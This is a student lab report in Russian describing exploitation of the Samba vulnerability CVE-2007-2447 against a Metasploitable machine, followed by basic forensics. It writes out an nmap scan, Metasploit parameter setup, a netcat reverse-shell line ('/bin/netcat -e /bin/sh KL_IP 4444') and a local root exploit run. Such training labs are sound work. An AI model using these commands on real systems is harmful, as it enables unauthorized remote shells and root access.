**Фахрутдинов Булат Загфярович**

**11-902**

**ЛАБОРАТОРНАЯ РАБОТА №3. ИСПОЛЬЗОВАНИЕ УЯЗВИМОСТИ ПРОТОКОЛА SAMBA: CVE - 2007 - 2447. СЕТЕВАЯ ФОРЕНЗИКА**

**Цели и задачи:** научиться получать доступ к root атакуемого устройства

**Ход работ:**

1. Был скачан образ OC Kali Linux с разрешением «.iso» и установлен на виртуальную машину VMWare
2. Были проверены технические характеристики виртуальной машины: архитектура процессора – х64, количество процессоров – 1, объем ОЗУ – 512 MB, размер жесткого диска – 16 GB, тип сетевого подключения – сетевой мост.
3. Был выполнен вход в систему и запрос ip-адреса
   1. Выполнена команда “ip a” для просмотра адреса виртуальной ОС в сети. Адрес был локальным, поэтому было необходимо получить DHCP адрес, для связи с хостовым ПК
      1. Выполнена команда “dhclient” – для получения публичного адреса
   2. Адрес был записан для дальнейшей работы с хостовым ПК
4. Запуск nmap
   1. Выполнил команду “ nmap -p 1-65535 -T4 -A –v MS\_IP 2>&1 | tee /var/tmp/scan.txt”
   2. Убедился в том, что все успешно запущено
5. Определение портов samba
   1. Выполнил команду grep -i ‘samba’ /var/tmp/scan.txt и нашел порт 445
6. Установка Payload, а также RHOST, RPORT, LHOST
   1. Установил все параметры по инструкции и выполнил ‘explot’
   2. Подключился к удаленной машине и выполнил whoami – получил
7. Открытие NETCAT сессии
   1. Выполнил «echo '#!/bin/sh' > /tmp/run;» и «echo '/bin/netcat -e /bin/sh KL\_IP 4444' >> /tmp/run;»
   2. Определил PID родителя и запустил ./exploit-8572
   3. Проверил root командой whoami
8. Провел сисадмин анализ наших действий на машине Metasploitable (пункт 1.4)
9. Сбор статистики
   1. Выполнил команды netstat -naop > /var/tmp/samba.txt; lsof > /var/tmp/samba.txt; ps -eaf > /var/tmp/samba.txt